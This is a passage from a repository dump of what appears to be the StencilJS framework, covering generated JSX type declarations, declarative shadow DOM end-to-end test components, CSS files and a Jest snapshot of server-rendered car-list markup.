ListenCmpAttributes as `attr:${K}`]?: ListenCmpAttributes[K] } & { [K in keyof ListenCmp & keyof ListenCmpAttributes as `prop:${K}`]?: ListenCmp[K] };\n        \"method-cmp\": Omit<MethodCmp, keyof MethodCmpAttributes> & { [K in keyof MethodCmp & keyof MethodCmpAttributes]?: MethodCmp[K] } & { [K in keyof MethodCmp & keyof MethodCmpAttributes as `attr:${K}`]?: MethodCmpAttributes[K] } & { [K in keyof MethodCmp & keyof MethodCmpAttributes as `prop:${K}`]?: MethodCmp[K] };\n        \"my-cmp\": Omit<MyCmp, keyof MyCmpAttributes> & { [K in keyof MyCmp & keyof MyCmpAttributes]?: MyCmp[K] } & { [K in keyof MyCmp & keyof MyCmpAttributes as `attr:${K}`]?: MyCmpAttributes[K] } & { [K in keyof MyCmp & keyof MyCmpAttributes as `prop:${K}`]?: MyCmp[K] };\n        \"my-jsx-cmp\": Omit<MyJsxCmp, keyof MyJsxCmpAttributes> & { [K in keyof MyJsxCmp & keyof MyJsxCmpAttributes]?: MyJsxCmp[K] } & { [K in keyof MyJsxCmp & keyof MyJsxCmpAttributes as `attr:${K}`]?: MyJsxCmpAttributes[K] } & { [K in keyof MyJsxCmp & keyof MyJsxCmpAttributes as `prop:${K}`]?: MyJsxCmp[K] };\n        \"nested-cmp-child\": NestedCmpChild;\n        \"nested-cmp-parent\": NestedCmpParent;\n        \"nested-scope-cmp\": NestedScopeCmp;\n        \"non-shadow-child\": NonShadowChild;\n        \"non-shadow-forwarded-slot\": NonShadowForwardedSlot;\n        \"non-shadow-multi-slots\": NonShadowMultiSlots;\n        \"non-shadow-wrapper\": NonShadowWrapper;\n        \"path-alias-cmp\": PathAliasCmp;\n        \"prerender-cmp\": PrerenderCmp;\n        \"prop-cmp\": Omit<PropCmp, keyof PropCmpAttributes> & { [K in keyof PropCmp & keyof PropCmpAttributes]?: PropCmp[K] } & { [K in keyof PropCmp & keyof PropCmpAttributes as `attr:${K}`]?: PropCmpAttributes[K] } & { [K in keyof PropCmp & keyof PropCmpAttributes as `prop:${K}`]?: PropCmp[K] };\n        \"resolve-var-events\": ResolveVarEvents;\n        \"runtime-decorators\": Omit<RuntimeDecorators, keyof RuntimeDecoratorsAttributes> & { [K in keyof RuntimeDecorators & keyof RuntimeDecoratorsAttributes]?: RuntimeDecorators[K] } & { [K in keyof RuntimeDecorators & keyof RuntimeDecoratorsAttributes as `attr:${K}`]?: RuntimeDecoratorsAttributes[K] } & { [K in keyof RuntimeDecorators & keyof RuntimeDecoratorsAttributes as `prop:${K}`]?: RuntimeDecorators[K] };\n        \"scoped-car-detail\": Omit<ScopedCarDetail, keyof ScopedCarDetailAttributes> & { [K in keyof ScopedCarDetail & keyof ScopedCarDetailAttributes]?: ScopedCarDetail[K] } & { [K in keyof ScopedCarDetail & keyof ScopedCarDetailAttributes as `attr:${K}`]?: ScopedCarDetailAttributes[K] } & { [K in keyof ScopedCarDetail & keyof ScopedCarDetailAttributes as `prop:${K}`]?: ScopedCarDetail[K] };\n        \"scoped-car-list\": Omit<ScopedCarList, keyof ScopedCarListAttributes> & { [K in keyof ScopedCarList & keyof ScopedCarListAttributes]?: ScopedCarList[K] } & { [K in keyof ScopedCarList & keyof ScopedCarListAttributes as `attr:${K}`]?: ScopedCarListAttributes[K] } & { [K in keyof ScopedCarList & keyof ScopedCarListAttributes as `prop:${K}`]?: ScopedCarList[K] };\n        \"shadow-child\": ShadowChild;\n        \"shadow-wrapper\": ShadowWrapper;\n        \"slot-cmp\": SlotCmp;\n        \"slot-cmp-container\": SlotCmpContainer;\n        \"slot-parent-cmp\": Omit<SlotParentCmp, keyof SlotParentCmpAttributes> & { [K in keyof SlotParentCmp & keyof SlotParentCmpAttributes]?: SlotParentCmp[K] } & { [K in keyof SlotParentCmp & keyof SlotParentCmpAttributes as `attr:${K}`]?: SlotParentCmpAttributes[K] } & { [K in keyof SlotParentCmp & keyof SlotParentCmpAttributes as `prop:${K}`]?: SlotParentCmp[K] };\n        \"ssr-shadow-cmp\": Omit<SsrShadowCmp, keyof SsrShadowCmpAttributes> & { [K in keyof SsrShadowCmp & keyof SsrShadowCmpAttributes]?: SsrShadowCmp[K] } & { [K in keyof SsrShadowCmp & keyof SsrShadowCmpAttributes as `attr:${K}`]?: SsrShadowCmpAttributes[K] } & { [K in keyof SsrShadowCmp & keyof SsrShadowCmpAttributes as `prop:${K}`]?: SsrShadowCmp[K] };\n        \"state-cmp\": StateCmp;\n        \"wrap-ssr-shadow-cmp\": Omit<WrapSsrShadowCmp, keyof WrapSsrShadowCmpAttributes> & { [K in keyof WrapSsrShadowCmp & keyof WrapSsrShadowCmpAttributes]?: WrapSsrShadowCmp[K] } & { [K in keyof WrapSsrShadowCmp & keyof WrapSsrShadowCmpAttributes as `attr:${K}`]?: WrapSsrShadowCmpAttributes[K] } & { [K in keyof WrapSsrShadowCmp & keyof WrapSsrShadowCmpAttributes as `prop:${K}`]?: WrapSsrShadowCmp[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"another-car-detail\": LocalJSX.IntrinsicElements[\"another-car-detail\"] & JSXBase.HTMLAttributes<HTMLAnotherCarDetailElement>;\n            /**\n             * Component that helps display a list of cars\n             */\n            \"another-car-list\": LocalJSX.IntrinsicElements[\"another-car-list\"] & JSXBase.HTMLAttributes<HTMLAnotherCarListElement>;\n            \"app-root\": LocalJSX.IntrinsicElements[\"app-root\"] & JSXBase.HTMLAttributes<HTMLAppRootElement>;\n            \"build-data\": LocalJSX.IntrinsicElements[\"build-data\"] & JSXBase.HTMLAttributes<HTMLBuildDataElement>;\n            \"car-detail\": LocalJSX.IntrinsicElements[\"car-detail\"] & JSXBase.HTMLAttributes<HTMLCarDetailElement>;\n            /**\n             * Component that helps display a list of cars\n             */\n            \"car-list\": LocalJSX.IntrinsicElements[\"car-list\"] & JSXBase.HTMLAttributes<HTMLCarListElement>;\n            \"cmp-a\": LocalJSX.IntrinsicElements[\"cmp-a\"] & JSXBase.HTMLAttributes<HTMLCmpAElement>;\n            \"cmp-b\": LocalJSX.IntrinsicElements[\"cmp-b\"] & JSXBase.HTMLAttributes<HTMLCmpBElement>;\n            \"cmp-c\": LocalJSX.IntrinsicElements[\"cmp-c\"] & JSXBase.HTMLAttributes<HTMLCmpCElement>;\n            \"cmp-dsd\": LocalJSX.IntrinsicElements[\"cmp-dsd\"] & JSXBase.HTMLAttributes<HTMLCmpDsdElement>;\n            \"cmp-dsd-focus\": LocalJSX.IntrinsicElements[\"cmp-dsd-focus\"] & JSXBase.HTMLAttributes<HTMLCmpDsdFocusElement>;\n            \"cmp-server-vs-client\": LocalJSX.IntrinsicElements[\"cmp-server-vs-client\"] & JSXBase.HTMLAttributes<HTMLCmpServerVsClientElement>;\n            \"cmp-with-slot\": LocalJSX.IntrinsicElements[\"cmp-with-slot\"] & JSXBase.HTMLAttributes<HTMLCmpWithSlotElement>;\n            \"dom-api\": LocalJSX.IntrinsicElements[\"dom-api\"] & JSXBase.HTMLAttributes<HTMLDomApiElement>;\n            \"dom-interaction\": LocalJSX.IntrinsicElements[\"dom-interaction\"] & JSXBase.HTMLAttributes<HTMLDomInteractionElement>;\n            \"dom-visible\": LocalJSX.IntrinsicElements[\"dom-visible\"] & JSXBase.HTMLAttributes<HTMLDomVisibleElement>;\n            \"dsd-listen-cmp\": LocalJSX.IntrinsicElements[\"dsd-listen-cmp\"] & JSXBase.HTMLAttributes<HTMLDsdListenCmpElement>;\n            \"element-cmp\": LocalJSX.IntrinsicElements[\"element-cmp\"] & JSXBase.HTMLAttributes<HTMLElementCmpElement>;\n            \"empty-cmp\": LocalJSX.IntrinsicElements[\"empty-cmp\"] & JSXBase.HTMLAttributes<HTMLEmptyCmpElement>;\n            \"empty-cmp-shadow\": LocalJSX.IntrinsicElements[\"empty-cmp-shadow\"] & JSXBase.HTMLAttributes<HTMLEmptyCmpShadowElement>;\n            \"env-data\": LocalJSX.IntrinsicElements[\"env-data\"] & JSXBase.HTMLAttributes<HTMLEnvDataElement>;\n            \"event-cmp\": LocalJSX.IntrinsicElements[\"event-cmp\"] & JSXBase.HTMLAttributes<HTMLEventCmpElement>;\n            \"hydrated-sibling-accessors\": LocalJSX.IntrinsicElements[\"hydrated-sibling-accessors\"] & JSXBase.HTMLAttributes<HTMLHydratedSiblingAccessorsElement>;\n            \"import-assets\": LocalJSX.IntrinsicElements[\"import-assets\"] & JSXBase.HTMLAttributes<HTMLImportAssetsElement>;\n            \"listen-cmp\": LocalJSX.IntrinsicElements[\"listen-cmp\"] & JSXBase.HTMLAttributes<HTMLListenCmpElement>;\n            \"method-cmp\": LocalJSX.IntrinsicElements[\"method-cmp\"] & JSXBase.HTMLAttributes<HTMLMethodCmpElement>;\n            \"my-cmp\": LocalJSX.IntrinsicElements[\"my-cmp\"] & JSXBase.HTMLAttributes<HTMLMyCmpElement>;\n            \"my-jsx-cmp\": LocalJSX.IntrinsicElements[\"my-jsx-cmp\"] & JSXBase.HTMLAttributes<HTMLMyJsxCmpElement>;\n            \"nested-cmp-child\": LocalJSX.IntrinsicElements[\"nested-cmp-child\"] & JSXBase.HTMLAttributes<HTMLNestedCmpChildElement>;\n            \"nested-cmp-parent\": LocalJSX.IntrinsicElements[\"nested-cmp-parent\"] & JSXBase.HTMLAttributes<HTMLNestedCmpParentElement>;\n            \"nested-scope-cmp\": LocalJSX.IntrinsicElements[\"nested-scope-cmp\"] & JSXBase.HTMLAttributes<HTMLNestedScopeCmpElement>;\n            \"non-shadow-child\": LocalJSX.IntrinsicElements[\"non-shadow-child\"] & JSXBase.HTMLAttributes<HTMLNonShadowChildElement>;\n            \"non-shadow-forwarded-slot\": LocalJSX.IntrinsicElements[\"non-shadow-forwarded-slot\"] & JSXBase.HTMLAttributes<HTMLNonShadowForwardedSlotElement>;\n            \"non-shadow-multi-slots\": LocalJSX.IntrinsicElements[\"non-shadow-multi-slots\"] & JSXBase.HTMLAttributes<HTMLNonShadowMultiSlotsElement>;\n            \"non-shadow-wrapper\": LocalJSX.IntrinsicElements[\"non-shadow-wrapper\"] & JSXBase.HTMLAttributes<HTMLNonShadowWrapperElement>;\n            \"path-alias-cmp\": LocalJSX.IntrinsicElements[\"path-alias-cmp\"] & JSXBase.HTMLAttributes<HTMLPathAliasCmpElement>;\n            \"prerender-cmp\": LocalJSX.IntrinsicElements[\"prerender-cmp\"] & JSXBase.HTMLAttributes<HTMLPrerenderCmpElement>;\n            \"prop-cmp\": LocalJSX.IntrinsicElements[\"prop-cmp\"] & JSXBase.HTMLAttributes<HTMLPropCmpElement>;\n            \"resolve-var-events\": LocalJSX.IntrinsicElements[\"resolve-var-events\"] & JSXBase.HTMLAttributes<HTMLResolveVarEventsElement>;\n            \"runtime-decorators\": LocalJSX.IntrinsicElements[\"runtime-decorators\"] & JSXBase.HTMLAttributes<HTMLRuntimeDecoratorsElement>;\n            \"scoped-car-detail\": LocalJSX.IntrinsicElements[\"scoped-car-detail\"] & JSXBase.HTMLAttributes<HTMLScopedCarDetailElement>;\n            /**\n             * Component that helps display a list of cars\n             */\n            \"scoped-car-list\": LocalJSX.IntrinsicElements[\"scoped-car-list\"] & JSXBase.HTMLAttributes<HTMLScopedCarListElement>;\n            \"shadow-child\": LocalJSX.IntrinsicElements[\"shadow-child\"] & JSXBase.HTMLAttributes<HTMLShadowChildElement>;\n            \"shadow-wrapper\": LocalJSX.IntrinsicElements[\"shadow-wrapper\"] & JSXBase.HTMLAttributes<HTMLShadowWrapperElement>;\n            \"slot-cmp\": LocalJSX.IntrinsicElements[\"slot-cmp\"] & JSXBase.HTMLAttributes<HTMLSlotCmpElement>;\n            \"slot-cmp-container\": LocalJSX.IntrinsicElements[\"slot-cmp-container\"] & JSXBase.HTMLAttributes<HTMLSlotCmpContainerElement>;\n            \"slot-parent-cmp\": LocalJSX.IntrinsicElements[\"slot-parent-cmp\"] & JSXBase.HTMLAttributes<HTMLSlotParentCmpElement>;\n            \"ssr-shadow-cmp\": LocalJSX.IntrinsicElements[\"ssr-shadow-cmp\"] & JSXBase.HTMLAttributes<HTMLSsrShadowCmpElement>;\n            \"state-cmp\": LocalJSX.IntrinsicElements[\"state-cmp\"] & JSXBase.HTMLAttributes<HTMLStateCmpElement>;\n            \"wrap-ssr-shadow-cmp\": LocalJSX.IntrinsicElements[\"wrap-ssr-shadow-cmp\"] & JSXBase.HTMLAttributes<HTMLWrapSsrShadowCmpElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/__snapshots__/test.e2e.ts.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`renderToString can render a scoped component within a shadow component 1`] = `\"<car-list cars=\\\\\"[{&quot;make&quot;:&quot;VW&quot;,&quot;model&quot;:&quot;Vento&quot;,&quot;year&quot;:2024},{&quot;make&quot;:&quot;VW&quot;,&quot;model&quot;:&quot;Beetle&quot;,&quot;year&quot;:2023}]\\\\\" class=\\\\\"sc-car-list-h\\\\\" custom-hydrate-flag=\\\\\"\\\\\" s-id=\\\\\"9\\\\\"><template shadowrootmode=\\\\\"open\\\\\"><style sty-id=\\\\\"sc-car-list\\\\\">:host{display:block;margin:10px;padding:10px;border:1px solid blue}ul{display:block;margin:0;padding:0}li{list-style:none;margin:0;padding:20px}.selected{font-weight:bold;background:rgb(255, 255, 210)}</style><ul class=\\\\\"sc-car-list\\\\\" c-id=\\\\\"9.0.0.0\\\\\"><li class=\\\\\"sc-car-list\\\\\" c-id=\\\\\"9.1.1.0\\\\\"><car-detail class=\\\\\"sc-car-list\\\\\" custom-hydrate-flag=\\\\\"\\\\\" c-id=\\\\\"9.2.2.0\\\\\" s-id=\\\\\"10\\\\\"><!--r.10--><section c-id=\\\\\"10.0.0.0\\\\\"><!--t.10.1.1.0-->2024 VW Vento</section></car-detail></li><li class=\\\\\"sc-car-list\\\\\" c-id=\\\\\"9.3.1.1\\\\\"><car-detail class=\\\\\"sc-car-list\\\\\" custom-hydrate-flag=\\\\\"\\\\\" c-id=\\\\\"9.4.2.0\\\\\" s-id=\\\\\"11\\\\\"><!--r.11--><section c-id=\\\\\"11.0.0.0\\\\\"><!--t.11.1.1.0-->2023 VW Beetle</section></car-detail></li></ul></template><!--r.9--></car-list>\"`;\n\nexports[`renderToString can render a simple shadow component 1`] = `\n\"<another-car-detail class=\\\\\"sc-another-car-detail-h\\\\\" custom-hydrate-flag=\\\\\"\\\\\" s-id=\\\\\"1\\\\\">\n  <template shadowrootmode=\\\\\"open\\\\\">\n    <style sty-id=\\\\\"sc-another-car-detail\\\\\">\n      section{color:green}\n    </style>\n  </template>\n  <!--r.1-->\n</another-car-detail>\"\n`;\n\nexports[`renderToString can render nested components 1`] = `\n\"<another-car-list cars=\\\\\"[{&quot;make&quot;:&quot;VW&quot;,&quot;model&quot;:&quot;Vento&quot;,&quot;year&quot;:2024},{&quot;make&quot;:&quot;VW&quot;,&quot;model&quot;:&quot;Beetle&quot;,&quot;year&quot;:2023}]\\\\\" class=\\\\\"sc-another-car-list-h\\\\\" custom-hydrate-flag=\\\\\"\\\\\" s-id=\\\\\"6\\\\\">\n  <template shadowrootmode=\\\\\"open\\\\\">\n    <style sty-id=\\\\\"sc-another-car-list\\\\\">\n      :host{display:block;margin:10px;padding:10px;border:1px solid blue}ul{display:block;margin:0;padding:0}li{list-style:none;margin:0;padding:20px}.selected{font-weight:bold;background:rgb(255, 255, 210)}\n    </style>\n    <ul c-id=\\\\\"6.0.0.0\\\\\" class=\\\\\"sc-another-car-list\\\\\">\n      <li c-id=\\\\\"6.1.1.0\\\\\" class=\\\\\"sc-another-car-list\\\\\">\n        <another-car-detail c-id=\\\\\"6.2.2.0\\\\\" class=\\\\\"sc-another-car-detail-h sc-another-car-list\\\\\" custom-hydrate-flag=\\\\\"\\\\\" s-id=\\\\\"7\\\\\">\n          <template shadowrootmode=\\\\\"open\\\\\">\n            <style sty-id=\\\\\"sc-another-car-detail\\\\\">\n              section{color:green}\n            </style>\n            <section c-id=\\\\\"7.0.0.0\\\\\" class=\\\\\"sc-another-car-detail\\\\\">\n              <!--t.7.1.1.0-->\n              2024 VW Vento\n            </section>\n          </template>\n          <!--r.7-->\n        </another-car-detail>\n      </li>\n      <li c-id=\\\\\"6.3.1.1\\\\\" class=\\\\\"sc-another-car-list\\\\\">\n        <another-car-detail c-id=\\\\\"6.4.2.0\\\\\" class=\\\\\"sc-another-car-detail-h sc-another-car-list\\\\\" custom-hydrate-flag=\\\\\"\\\\\" s-id=\\\\\"8\\\\\">\n          <template shadowrootmode=\\\\\"open\\\\\">\n            <style sty-id=\\\\\"sc-another-car-detail\\\\\">\n              section{color:green}\n            </style>\n            <section c-id=\\\\\"8.0.0.0\\\\\" class=\\\\\"sc-another-car-detail\\\\\">\n              <!--t.8.1.1.0-->\n              2023 VW Beetle\n            </section>\n          </template>\n          <!--r.8-->\n        </another-car-detail>\n      </li>\n    </ul>\n  </template>\n  <!--r.6-->\n</another-car-list>\"\n`;\n\nexports[`renderToString renders server-side components with delegated focus 1`] = `\"<cmp-dsd-focus class=\\\\\"sc-cmp-dsd-focus-h\\\\\" custom-hydrate-flag=\\\\\"\\\\\" s-id=\\\\\"32\\\\\"><template shadowrootmode=\\\\\"open\\\\\" shadowrootdelegatesfocus><div class=\\\\\"sc-cmp-dsd-focus\\\\\" c-id=\\\\\"32.0.0.0\\\\\"><!--t.32.1.1.0-->Clickable shadow DOM text</div><button class=\\\\\"sc-cmp-dsd-focus\\\\\" c-id=\\\\\"32.2.0.1\\\\\"><!--t.32.3.1.0-->Click me!</button></template><!--r.32--></cmp-dsd-focus>\"`;\n\nexports[`renderToString supports passing props to components 1`] = `\n\"<another-car-detail car=\\\\\"{&quot;year&quot;:2024, &quot;make&quot;: &quot;VW&quot;, &quot;model&quot;: &quot;Vento&quot;}\\\\\" class=\\\\\"sc-another-car-detail-h\\\\\" custom-hydrate-flag=\\\\\"\\\\\" s-id=\\\\\"2\\\\\">\n  <template shadowrootmode=\\\\\"open\\\\\">\n    <style sty-id=\\\\\"sc-another-car-detail\\\\\">\n      section{color:green}\n    </style>\n    <section c-id=\\\\\"2.0.0.0\\\\\" class=\\\\\"sc-another-car-detail\\\\\">\n      <!--t.2.1.1.0-->\n      2024 VW Vento\n    </section>\n  </template>\n  <!--r.2-->\n</another-car-detail>\"\n`;\n\nexports[`renderToString supports passing props to components with a simple object 1`] = `\n\"<another-car-detail car=\\\\\"{&quot;make&quot;:&quot;VW&quot;,&quot;model&quot;:&quot;Vento&quot;,&quot;year&quot;:2024}\\\\\" class=\\\\\"sc-another-car-detail-h\\\\\" custom-hydrate-flag=\\\\\"\\\\\" s-id=\\\\\"3\\\\\">\n  <template shadowrootmode=\\\\\"open\\\\\">\n    <style sty-id=\\\\\"sc-another-car-detail\\\\\">\n      section{color:green}\n    </style>\n    <section c-id=\\\\\"3.0.0.0\\\\\" class=\\\\\"sc-another-car-detail\\\\\">\n      <!--t.3.1.1.0-->\n      2024 VW Vento\n    </section>\n  </template>\n  <!--r.3-->\n</another-car-detail>\"\n`;\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/another-car-detail.css",
    "content": "section {\n  color: green;\n}"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/another-car-detail.tsx",
    "content": "import { Component, h, Prop, AttrDeserialize } from '@stencil/core';\n\nimport { CarData } from '../car-list/car-data';\n\n@Component({\n  tag: 'another-car-detail',\n  styleUrl: 'another-car-detail.css',\n  shadow: true,\n})\nexport class CarDetail {\n  @Prop() car: CarData;\n  @AttrDeserialize('car')\n  parseCars(newValue: string) {\n    try {\n      return JSON.parse(newValue);\n    } catch (error) {\n      return newValue;\n    }\n  }\n\n  render() {\n    if (!this.car) {\n      return null;\n    }\n\n    return (\n      <section>\n        {this.car.year} {this.car.make} {this.car.model}\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/another-car-list.css",
    "content": "\n:host {\n  display: block;\n  margin: 10px;\n  padding: 10px;\n  border: 1px solid blue;\n}\n\nul {\n  display: block;\n  margin: 0;\n  padding: 0;\n}\n\nli {\n  list-style: none;\n  margin: 0;\n  padding: 20px;\n}\n\n.selected {\n  font-weight: bold;\n  background: rgb(255, 255, 210);\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/another-car-list.tsx",
    "content": "import { Component, Event, EventEmitter, h, Prop, AttrDeserialize } from '@stencil/core';\n\nimport { CarData } from '../car-list/car-data';\n\n/**\n * Component that helps display a list of cars\n * @slot header - The slot for the header content.\n * @part car - The shadow part to target to style the car.\n */\n@Component({\n  tag: 'another-car-list',\n  styleUrl: 'another-car-list.css',\n  shadow: true,\n})\nexport class CarList {\n  @Prop() cars: CarData[];\n  @AttrDeserialize('cars')\n  parseCars(newValue: string) {\n    return JSON.parse(newValue);\n  }\n  @Prop({ mutable: true }) selected: CarData;\n  @Event() carSelected: EventEmitter<CarData>;\n\n  componentWillLoad() {\n    return new Promise((resolve) => setTimeout(resolve, 20));\n  }\n\n  selectCar(car: CarData) {\n    this.selected = car;\n    this.carSelected.emit(car);\n  }\n\n  render() {\n    if (!Array.isArray(this.cars)) {\n      return null;\n    }\n\n    return (\n      <ul>\n        {this.cars.map((car) => {\n          return (\n            <li class={car === this.selected ? 'selected' : ''}>\n              <another-car-detail car={car}></another-car-detail>\n            </li>\n          );\n        })}\n      </ul>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/cmp-dsd-focus.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-dsd-focus',\n  shadow: { delegatesFocus: true },\n})\nexport class ComponentDSDWithFocusDelegation {\n  render() {\n    return (\n      <Host>\n        <div>Clickable shadow DOM text</div>\n        <button>Click me!</button>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/cmp-dsd.css",
    "content": ":host {\n  display: block;\n  border: 1px solid black;\n  padding: 10px;\n}\n\n:host button {\n  background-color: lightblue;\n  border: 1px solid blue;\n  padding: 5px;\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/cmp-dsd.tsx",
    "content": "import { Component, h, Prop, State } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-dsd',\n  styleUrl: 'cmp-dsd.css',\n  shadow: true,\n})\nexport class ComponentDSD {\n  @State()\n  counter = 0;\n\n  @Prop()\n  initialCounter = 0;\n\n  render() {\n    return <button onClick={() => this.counter++}>Count me: {this.initialCounter + this.counter}!</button>;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/cmp-with-slot.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-with-slot',\n  shadow: true,\n})\nexport class ServerVSClientCmp {\n  render() {\n    return (\n      <div>\n        <div>\n          <div>\n            <slot></slot>\n          </div>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/dsd-listen-cmp.css",
    "content": ":host {\n  display: block;\n}"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/dsd-listen-cmp.tsx",
    "content": "import { Component, Element, h, Host, Listen } from '@stencil/core';\n\n@Component({\n  tag: 'dsd-listen-cmp',\n  styleUrl: 'dsd-listen-cmp.css',\n  shadow: true,\n})\nexport class MyWhateverComponent {\n  @Element() hostElement: HTMLSlotElement;\n  private slotRef: HTMLSlotElement;\n\n  @Listen('keydown', { capture: true }) // Crashes, incorrect binding in hydrate index.js\n  handleKeyPress(e: CustomEvent): void {\n    e.stopPropagation();\n    console.log(this.slotRef);\n  }\n\n  render() {\n    return (\n      <Host>\n        <slot ref={(el: HTMLSlotElement) => (this.slotRef = el)}></slot>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/nested-child-cmp.css",
    "content": ":host {\n  display: block;\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/nested-child-cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'nested-cmp-child',\n  styleUrl: `nested-child-cmp.css`,\n  shadow: true,\n})\nexport class NestedCmpChild {\n  render() {\n    return (\n      <div class=\"some-other-class\">\n        <slot></slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/nested-scope-cmp.css",
    "content": ":host {\n  color: green;\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/nested-scope-cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'nested-scope-cmp',\n  styleUrl: 'nested-scope-cmp.css',\n  scoped: true,\n})\nexport class NestedScopeCmp {\n  render() {\n    return (\n      <div class=\"some-scope-class\">\n        <slot></slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/parent-cmp.css",
    "content": ":host {\n  display: inline-block;\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/parent-cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'nested-cmp-parent',\n  shadow: true,\n  styleUrl: 'parent-cmp.css',\n})\nexport class NestedCmpParent {\n  render() {\n    return (\n      <div class=\"some-class\">\n        <nested-scope-cmp>\n          <slot></slot>\n        </nested-scope-cmp>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/readme.md",
    "content": "# cmp-server-vs-client\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Properties\n\n| Property   | Attribute  | Description | Type      | Default     |\n| ---------- | ---------- | ----------- | --------- | ----------- |\n| `selected` | `selected` |             | `boolean` | `undefined` |\n\n\n## Dependencies\n\n### Depends on\n\n- [ssr-shadow-cmp](.)\n\n### Graph\n```mermaid\ngraph TD;\n  wrap-ssr-shadow-cmp --> ssr-shadow-cmp\n  style wrap-ssr-shadow-cmp fill:#f9f,stroke:#333,stroke-width:4px\n```\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/scoped-car-detail.tsx",
    "content": "import { Component, h, Prop, AttrDeserialize } from '@stencil/core';\n\nimport { CarData } from '../car-list/car-data';\n\n@Component({\n  tag: 'scoped-car-detail',\n  styleUrl: 'another-car-detail.css',\n  scoped: true,\n})\nexport class CarDetail {\n  @Prop() car: CarData;\n  @AttrDeserialize('car')\n  parseCars(newValue: string) {\n    return JSON.parse(newValue);\n  }\n\n  render() {\n    if (!this.car) {\n      return null;\n    }\n\n    return (\n      <section>\n        {this.car.year} {this.car.make} {this.car.model}\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/scoped-car-list.tsx",
    "content": "import { Component, Event, EventEmitter, h, Prop, AttrDeserialize } from '@stencil/core';\n\nimport { CarData } from '../car-list/car-data';\n\n/**\n * Component that helps display a list of cars\n * @slot header - The slot for the header content.\n * @part car - The shadow part to target to style the car.\n */\n@Component({\n  tag: 'scoped-car-list',\n  styleUrl: 'another-car-list.css',\n  scoped: true,\n})\nexport class CarList {\n  @Prop() cars: CarData[];\n  @AttrDeserialize('cars')\n  parseCars(newValue: string) {\n    return JSON.parse(newValue);\n  }\n  @Prop({ mutable: true }) selected: CarData;\n  @Event() carSelected: EventEmitter<CarData>;\n\n  componentWillLoad() {\n    return new Promise((resolve) => setTimeout(resolve, 20));\n  }\n\n  selectCar(car: CarData) {\n    this.selected = car;\n    this.carSelected.emit(car);\n  }\n\n  render() {\n    if (!Array.isArray(this.cars)) {\n      return null;\n    }\n\n    return (\n      <ul>\n        {this.cars.map((car) => {\n          return (\n            <li class={car === this.selected ? 'selected' : ''}>\n              <another-car-detail car={car}></another-car-detail>\n            </li>\n          );\n        })}\n      </ul>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/server-vs-client.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-server-vs-client',\n  shadow: true,\n})\nexport class ServerVSClientCmp {\n  render() {\n    const winner = globalThis.constructor.name === 'MockWindow' ? 'Server' : 'Client';\n    return <div>Server vs Client? Winner: {winner}</div>;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/ssr-shadow-cmp.tsx",
    "content": "import { Build, Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'ssr-shadow-cmp',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      padding: 10px;\n      border: 2px solid #000;\n      background: yellow;\n      color: red;\n    }\n  `,\n})\nexport class SsrShadowCmp {\n  @Prop() selected: boolean;\n\n  render() {\n    return (\n      <div\n        class={{\n          selected: this.selected,\n        }}\n      >\n        <slot name=\"top\" />\n        <slot />\n        {Build.isBrowser && <slot name=\"client-only\" />}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/test.e2e.ts",
